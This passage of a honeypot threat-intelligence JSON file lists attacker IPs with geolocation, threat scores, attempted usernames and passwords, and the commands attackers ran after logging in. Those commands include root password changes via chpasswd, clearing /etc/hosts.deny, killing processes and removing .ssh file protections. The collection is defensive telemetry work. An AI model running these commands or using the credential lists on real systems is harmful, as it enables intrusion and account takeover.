      "last_seen": "2026-04-08T08:28:48.200Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 91.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T01:26:05.238000+00:00",
        "last_seen_30d": "2026-04-30T22:06:26.644000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 27,
        "Cowrie": 2,
        "Ciscoasa": 1,
        "Mailoney": 1
      }
    },
    "8.222.225.103": {
      "attack_count": 1,
      "first_seen": "2026-04-28T00:40:02.747Z",
      "last_seen": "2026-04-28T00:40:02.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.0,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T21:57:35.837000+00:00",
        "last_seen_30d": "2026-04-28T00:40:02.747000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 1,
        "Honeytrap": 1
      }
    },
    "45.156.87.99": {
      "attack_count": 3432,
      "first_seen": "2026-04-29T09:59:40.841Z",
      "last_seen": "2026-04-29T10:40:27.621Z",
      "sessions": 686,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4841,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T09:59:40.841000+00:00",
        "last_seen_30d": "2026-04-29T10:41:31.337000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3432,
        "Suricata": 1409
      }
    },
    "143.110.240.17": {
      "attack_count": 2490,
      "first_seen": "2026-04-09T11:20:40.995Z",
      "last_seen": "2026-04-12T20:17:38.380Z",
      "sessions": 496,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3523,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T11:20:40.995000+00:00",
        "last_seen_30d": "2026-04-12T20:18:42.737000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2490,
        "Suricata": 1033
      }
    },
    "187.251.123.70": {
      "attack_count": 857,
      "first_seen": "2026-04-01T10:29:05.626Z",
      "last_seen": "2026-04-27T16:17:03.613Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "vpn",
        "aceuser",
        "admin",
        "client",
        "deploy",
        "ftpuser",
        "linuxbrew",
        "steam",
        "user",
        "user13"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!1qaz1QAZ!@#",
        "!Q2w#E4r",
        "!thereisnosuchpassword%",
        "123!@#",
        "123!@#QWE",
        "123123s",
        "123456",
        "12345@abcde",
        "123465.",
        "1qaz!Q",
        "2024",
        "5nWt3P-fF4WosQm5O",
        "6yhn!@#",
        "7ujmko0",
        "Admin1212..",
        "Admin@123!!",
        "Admin@9000",
        "Ali123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:ApH1bVvRERPf\"|chpasswd|bash",
        "echo \"root:D9QkR7wHAMKT\"|chpasswd|bash",
        "echo \"root:YRQcO47yE6JQ\"|chpasswd|bash",
        "echo \"root:Z7FSHJsxcoL8\"|chpasswd|bash",
        "echo \"root:eWfn3Jx8wJ08\"|chpasswd|bash",
        "echo \"root:iqLV3cVZoOwm\"|chpasswd|bash",
        "echo \"vpn123\\n06sGLm8OzDzu\\n06sGLm8OzDzu\\n\"|passwd",
        "echo -e \"vpn123\\n06sGLm8OzDzu\\n06sGLm8OzDzu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Iztapalapa",
      "asn": 22884,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1068,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:29:05.626000+00:00",
        "last_seen_30d": "2026-04-27T16:18:11.053000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 857,
        "Suricata": 211
      }
    },
    "103.41.247.76": {
      "attack_count": 549,
      "first_seen": "2026-04-19T10:23:48.340Z",
      "last_seen": "2026-04-29T07:05:29.225Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "user",
        "deploy",
        "odoo",
        "postgres",
        "server",
        "admins",
        "ca",
        "frappe",
        "github",
        "nfsuser",
        "oracle",
        "sshuser",
        "test",
        "tester",
        "testftp",
        "ts3user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0727527122",
        "1",
        "123",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e",
        "1qa2ws3ed4rf",
        "1qazxsw2",
        "1qazxsw23edc",
        "2025",
        "2525",
        "777777",
        "999999",
        "AaBbCc123",
        "Abc12345678!",
        "Abcd12!!",
        "Admin!123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"777777\\nSw7cYf543lSN\\nSw7cYf543lSN\\n\"|passwd",
        "echo \"root:VI39PeuX32OU\"|chpasswd|bash",
        "echo \"root:kxgyl7PqvOSc\"|chpasswd|bash",
        "echo \"server13!\\nvhnMjD3X7qCa\\nvhnMjD3X7qCa\\n\"|passwd",
        "echo -e \"777777\\nSw7cYf543lSN\\nSw7cYf543lSN\"|passwd|bash",
        "echo -e \"server13!\\nvhnMjD3X7qCa\\nvhnMjD3X7qCa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 133802,
      "as_org": "Universitas Pasundan Bandung",
      "threat_score": 48.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 698,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T10:23:48.340000+00:00",
        "last_seen_30d": "2026-04-29T07:06:37.559000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 549,
        "Suricata": 149
      }
    },
    "186.38.26.5": {
      "attack_count": 547,
      "first_seen": "2026-04-15T01:09:06.941Z",
      "last_seen": "2026-04-29T04:07:09.360Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "tester",
        "ubuntu",
        "admin",
        "ali",
        "bitrix",
        "debian",
        "deploy",
        "deployer",
        "gameserver",
        "jenkins",
        "julian",
        "n8n",
        "postgres",
        "sgp",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZXSW@12",
        "111111",
        "123123$%^$%^",
        "1234",
        "12345678",
        "123Qweasd",
        "1qaz@@",
        "Abc123123@",
        "AbcAbc",
        "Adm@123",
        "Ftpuser6",
        "HanTianKV",
        "Hetzner",
        "Master123",
        "Master@2025",
        "N8n13!",
        "Oracle2024",
        "P@sssw0rd03"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6Z9k2RIg1ds7\"|chpasswd|bash",
        "echo \"root:BuZK20uHZXw7\"|chpasswd|bash",
        "echo \"root:voH94Yo9jApi\"|chpasswd|bash",
        "echo \"root:vvHU5yjfNdHY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Sierra Grande",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.4,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 689,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T01:09:06.941000+00:00",
        "last_seen_30d": "2026-04-29T04:08:19.398000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 547,
        "Suricata": 142
      }
    },
    "203.145.34.165": {
      "attack_count": 500,
      "first_seen": "2026-04-02T08:22:18.591Z",
      "last_seen": "2026-04-07T08:01:02.656Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "n8n",
        "ttest",
        "user",
        "deploy",
        "diogo",
        "ftpuser",
        "git",
        "steam",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!23qweasdzxc",
        "12345678Qq",
        "123456@w",
        "1q2w3e4r5tA",
        "2025!",
        "321",
        "333333",
        "AA112233",
        "Aa654321",
        "Abcde12345",
        "Frappe!123",
        "Ghi123!",
        "Huawei123456@",
        "Letmein123!",
        "Postgres1",
        "Postgres10",
        "QWE@1234",
        "Qq888"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"letmein123\\nI63fDJp6fGeB\\nI63fDJp6fGeB\\n\"|passwd",
        "echo \"n8n16\\ndL5AisNNiYwE\\ndL5AisNNiYwE\\n\"|passwd",
        "echo \"root:RyCAXJNPDvAd\"|chpasswd|bash",
        "echo \"ttest\\nAePk4bdB4D2u\\nAePk4bdB4D2u\\n\"|passwd",
        "echo -e \"letmein123\\nI63fDJp6fGeB\\nI63fDJp6fGeB\"|passwd|bash",
        "echo -e \"n8n16\\ndL5AisNNiYwE\\ndL5AisNNiYwE\"|passwd|bash",
        "echo -e \"ttest\\nAePk4bdB4D2u\\nAePk4bdB4D2u\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 627,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:22:18.591000+00:00",
        "last_seen_30d": "2026-04-07T08:02:10.002000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 127
      }
    },
    "103.199.203.67": {
      "attack_count": 457,
      "first_seen": "2026-04-11T08:36:57.195Z",
      "last_seen": "2026-04-12T13:07:32.429Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftpuser",
        "345gs5662d34",
        "git",
        "ubuntu",
        "bot",
        "n8n",
        "alex",
        "asterisk",
        "bkpuser",
        "cloud",
        "cronuser",
        "cs",
        "jenkins",
        "odoo",
        "postgres",
        "steam",
        "teamspeak",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123123",
        "12345qwer",
        "1234qwer",
        "123qaz",
        "1q2w3e4r",
        "1q2w3e4r5t",
        "1qaz!QAZ2wsx",
        "1qaz0p;/",
        "A1!B2@C3#",
        "Admin07",
        "Admin11!",
        "Admin18",
        "Bot12!",
        "Ee123456",
        "Hz123456.",
        "N8n25",
        "N8n4"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123\\nIxliv2lnC6oj\\nIxliv2lnC6oj\\n\"|passwd",
        "echo \"123qaz\\nDVxZwVYmgLXK\\nDVxZwVYmgLXK\\n\"|passwd",
        "echo \"asd123\\nNDZ3QHq8WU1n\\nNDZ3QHq8WU1n\\n\"|passwd",
        "echo -e \"123123\\nIxliv2lnC6oj\\nIxliv2lnC6oj\"|passwd|bash",
        "echo -e \"123qaz\\nDVxZwVYmgLXK\\nDVxZwVYmgLXK\"|passwd|bash",
        "echo -e \"asd123\\nNDZ3QHq8WU1n\\nNDZ3QHq8WU1n\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24186,
      "as_org": "RailTel Corporation of India Ltd",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T08:36:57.195000+00:00",
        "last_seen_30d": "2026-04-12T13:08:37.315000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 457,
        "Suricata": 130
      }
    },
    "186.30.115.187": {
      "attack_count": 434,
      "first_seen": "2026-04-10T17:48:26.220Z",
      "last_seen": "2026-04-23T07:56:37.368Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "steam",
        "345gs5662d34",
        "test1",
        "ali",
        "bot",
        "claude",
        "ehsan",
        "ftpuser",
        "postgres",
        "proxyuser",
        "rajesh",
        "roger",
        "rstest",
        "sammy",
        "server",
        "smb",
        "sushi",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#1",
        "123",
        "123456@",
        "123456@abc",
        "123456Qwer",
        "123456aS",
        "123456qwerty",
        "1234Qwer",
        "1Q2w3e4r",
        "1q2w3e4r",
        "A12345649",
        "A1234567090",
        "Aa123456.",
        "Abc123!@#",
        "Abcde12345",
        "Bot29!",
        "Claude!@#$",
        "Ftpuser10"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:42UIIYsSg0GE\"|chpasswd|bash",
        "echo \"root:AMHNSSVytVAR\"|chpasswd|bash",
        "echo \"root:tCr8AHCLzKfK\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 19429,
      "as_org": "Colombia",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:48:26.220000+00:00",
        "last_seen_30d": "2026-04-23T07:57:43.253000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 434,
        "Suricata": 118
      }
    },
    "206.42.14.196": {
      "attack_count": 410,
      "first_seen": "2026-04-17T02:47:44.001Z",
      "last_seen": "2026-04-29T03:22:37.272Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dev",
        "odoo",
        "admin",
        "admins",
        "deng",
        "deploy",
        "elasticsearch",
        "frappe",
        "ftpuser",
        "server",
        "sftpuser01",
        "test",
        "tester",
        "ts3user",
        "user",
        "user0"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123123aA",
        "123456788",
        "123456@TX",
        "123456abc",
        "15",
        "1qaz2wsx_",
        "1qazXSW@3edc",
        "1qazxsw2",
        "1qazxsw23edc",
        "2009",
        "823823",
        "Abcd!1234",
        "Abcd12!!",
        "Admin!123",
        "Changeme_123",
        "Gr123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qazXSW@3edc\\nD5jCCt4fJhv5\\nD5jCCt4fJhv5\\n\"|passwd",
        "echo \"root:CVtsKqqjkv9w\"|chpasswd|bash",
        "echo -e \"1qazXSW@3edc\\nD5jCCt4fJhv5\\nD5jCCt4fJhv5\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Juazeiro do Norte",
      "asn": 28126,
      "as_org": "BRISANET SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 544,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:47:44.001000+00:00",
        "last_seen_30d": "2026-04-29T03:23:37.819000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 410,
        "Suricata": 134
      }
    },
    "152.32.218.244": {
      "attack_count": 331,
      "first_seen": "2026-04-06T10:48:25.698Z",
      "last_seen": "2026-04-06T11:33:28.345Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mc",
        "odoo",
        "steam",
        "test",
        "app",
        "newuser",
        "oracle",
        "prowlarr",
        "teamspeak",
        "tom",
        "ubuntu",
        "userftp",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "1234",
        "Abc123456#",
        "Abcd1234!@#",
        "Admin12345#",
        "CC",
        "Cordun2026@",
        "P@ssw0rd2025!",
        "PASSword",
        "QWEASDzxc123",
        "Qwertyui123456",
        "Teamspeak1234",
        "abc123###",
        "dell@123",
        "ftp123",
        "hello123",
        "odoopass",
        "oracle8"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"odoopass\\nNiROZYjx2aII\\nNiROZYjx2aII\\n\"|passwd",
        "echo \"root:VPwND2G9FWsS\"|chpasswd|bash",
        "echo \"test\\nwQZiTnqGUS8a\\nwQZiTnqGUS8a\\n\"|passwd",
        "echo -e \"odoopass\\nNiROZYjx2aII\\nNiROZYjx2aII\"|passwd|bash",
        "echo -e \"test\\nwQZiTnqGUS8a\\nwQZiTnqGUS8a\"|passwd|bash",
